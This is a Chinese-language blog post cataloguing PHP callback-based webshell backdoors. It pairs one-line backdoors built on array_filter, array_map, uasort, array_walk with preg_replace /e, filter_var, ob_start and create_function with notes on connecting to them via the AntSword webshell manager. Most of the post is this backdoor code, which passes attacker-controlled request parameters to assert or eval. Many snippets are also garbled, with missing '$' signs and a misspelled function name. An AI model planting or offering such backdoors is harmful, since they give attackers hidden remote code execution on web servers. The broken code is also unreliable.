PHP回调后门小总结

目录

1.call_user_func

函数说明

蚁剑连接

2.数组操作造成的单参数回调后门

array_filter

函数说明

蚁剑连接

array_map

函数说明

蚁剑连接

3.二参数回调函数

uasort

函数说明

uksort

array_reduce

array_udiff

蚁剑连接

4.三参数的回调后门

array_walk

函数说明

array_walk_recursive

mb_ereg_replace

preg_filter

蚁剑连接

5.无明显回调后门

ob_start

函数说明

[6. 其他单参数后门](#6. 其他单参数后门)

register_shutdown_function

egister_tick_function

filter_var/filter_var_array

7.其他参数型回调后门

preg_replace_callback

mb_ereg_replace_callback


1.call_user_func

函数说明

php 复制代码
call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

php中call_user_func是执行回调函数的标准方法,这是一个比较老的后门。

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用

call_user_func_array('assert',array( $_REQUEST['pass']));

assert作为回调函数,把参数数组作$_REQUEST['pass']为回调函数的的参数传入。

实际上这个函数就相当于assert($_REOUEST)

注意assert这个函数在php7.4以后的版本无法使用

蚁剑连接

但是当我们使用GET接参和不加eval函数时,我们为什么连接无法成功?

2.数组操作造成的单参数回调后门

array_filter

函数说明

php 复制代码
array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数,用指定函数过滤数组元素。

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'],);

array_filter(arr, base64_decode(e));

base64_decode(e)是回调函数,是assert(YXNzZXJ0)。assert要执行代码,执行的是arr,arr是从_POST提交过来的

蚁剑连接

array_map

函数说明

php 复制代码
array_map(?callable $callback, array $array, array ...$arrays): array

这个函数只是把回调函数放在了第一个参数的位置

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'],);

array_map(base64_decode(e), arr);

蚁剑连接

这个函数的连接跟array_filter没有区别

3.二参数回调函数

php 复制代码
assert(mixed $assertion, Throwable|string|null $description = null): bool

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

uasort

函数说明

php 复制代码
uasort(array &$array, callable $callback): true

使用用户定义的比较函数对数组进行排序并保持索引关联

<?php

e = _REQUEST['e'];

arr = array('test', _REQUEST['pass']);

uasort(arr, base64_decode(e));

传入的'test', $_REQUEST['pass']都要交给回调函数去处理。

这个后门在php5.3时会报错,提示assert只能有一个参数。

面向对象的方法:

<?php

arr = new ArrayObject(array('test', _REQUEST['pass']));

$arr->uasort('assert');

<?php

arr = new ArrayObject(array('test' =\> 1, _REQUEST['pass'] => 2));

$arr->uksort('assert');

uksort

<?php

e = _REQUEST['e'];

arr = array('test' =\> 1, _REQUEST['pass'] => 2);

uksort(arr, e);

array_reduce

php 复制代码
array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。

<?php

e = _REQUEST['e'];

$arr = array(1);

array_reduce(arr, e, $_POST['pass']);

数组,回调函数,参数

array_udiff

php 复制代码
array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

使用内置函数进行数据比较,对比 array 和其他一个或者多个数组,返回在 array 中但是不在其他 array 里的值。

<?php

e = _REQUEST['e'];

arr = array(_POST['pass']);

$arr2 = array(1);

array_udiff(arr, arr2, $e);

蚁剑连接

以上几个函数都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。这里以array_reduce函数示例

4.三参数的回调后门

array_walk

函数说明

php 复制代码
array_walk(array|object &$array, callable $callback, mixed $arg = null): true

将用户自定义函数 callback 应用到 array 数组中的每个单元。将用户自定义函数 callback 应用到 array 数组中的每个单元。

三个参数:preg_replace /e模式,所以我们要构造一个array_walk + preg_replace的回调后门

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'] => '|.*|e',);

array_walk(arr, e, ' ');
preg_replace (

string|array $pattern,

string|array $replacement,

string|array $subject,

int $limit = -1,

int &$count = null

): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即:'"\ 和 NULL) 然后进行后向引用替换。

preg_replace 使用了 /e 模式,导致了代码可以被执行。php7.3 版本之前 preg_replace使用/E模式,都会导致代码执行

在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。

我们使用array_walk写的回调后门,利用/e模式, '|.*|e'匹配$pass,那eval直接执行我们传入pass的值

相当于 e=preg_replace(|.*|e,_POST\['pass'\],' ')--\>eval(_POST['pass'])

array_walk_recursive

这个函数与上面的函数是一样的就不做说明了

<?php

e = _REQUEST['e'];

arr = array(_POST['pass'] => '|.*|e',);

array_walk_recursive(arr, e, '');

mb_ereg_replace

<?php

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

preg_filter

<?php

preg_filter('|.*|e', $_REQUEST['pass'], '');

蚁剑连接

以array_walk为例

5.无明显回调后门

ob_start

函数说明

php 复制代码
ob_start(?callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

打开输出控制缓冲

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了

<?php

ob_start('assert');

echo $_REQUEST['pass'];

ob_end_flush();

即使没输出,无法用蚁剑连接。但是实际代码是执行了的。也算作回调后门的一种。

可以利用file_put_contents把一句话木马写进去

6. 其他单参数后门

register_shutdown_function

<?php

e = _REQUEST['e'];

register_shutdown_function(e, _REQUEST['pass']);

egister_tick_function

<?php

e = _REQUEST['e'];

declare(ticks=1);

register_tick_function (e, _REQUEST['pass']);

filter_var/filter_var_array

<?php

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));

filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

7.其他参数型回调后门

回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

所以我们需要去"构造"一个满足条件的回调函数。

这就依赖于creat_function函数,但是这个函数 已自 PHP 7.2.0 起被废弃 ,并自 PHP 8.0.0 起被移除

preg_replace_callback

<?php

preg_replace_callback('/.+/i', create_function('arr', 'return assert(arr[0]);'), $_REQUEST['pass']);

"创造"一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

mb_ereg_replace_callback

<?php

mb_ereg_replace_callback('.+', create_function('arr', 'return assert(arr[0]);'), $_REQUEST['pass']);

这些回调后门在2025的环境下基本全部失效,仅作参考

相关推荐
我的大老婆11 分钟前
【Python】Python 环境 + Pycharm 编译器 官网免费下载安装(图文教程,新手安装,Windows 10 系统)
开发语言·windows·经验分享·python·青少年编程·pycharm
m0_5557629017 分钟前
多人协同进行qt应用程序开发应该注意什么?
开发语言·qt
艾妮艾妮42 分钟前
C语言常见3种排序
java·c语言·开发语言·c++·算法·c#·排序算法
A_ugust__1 小时前
vue3项目使用 python +flask 打包成桌面应用
开发语言·python·flask
葵野寺1 小时前
【多线程】synchronized锁升级和优化
java·开发语言·java-ee
Yeauty1 小时前
Rust 中的高效视频处理:利用硬件加速应对高分辨率视频
开发语言·rust·ffmpeg·音视频·音频·视频
落榜程序员1 小时前
Java 基础-30-单例设计模式:懒汉式与饿汉式
java·开发语言
顾林海1 小时前
深度解析ArrayList工作原理
android·java·面试
安静的海岸_AI1 小时前
Android端WIFI/流量共存技术方案
android
划水哥~1 小时前
创建QMainWindow菜单栏
开发语言·c++·qt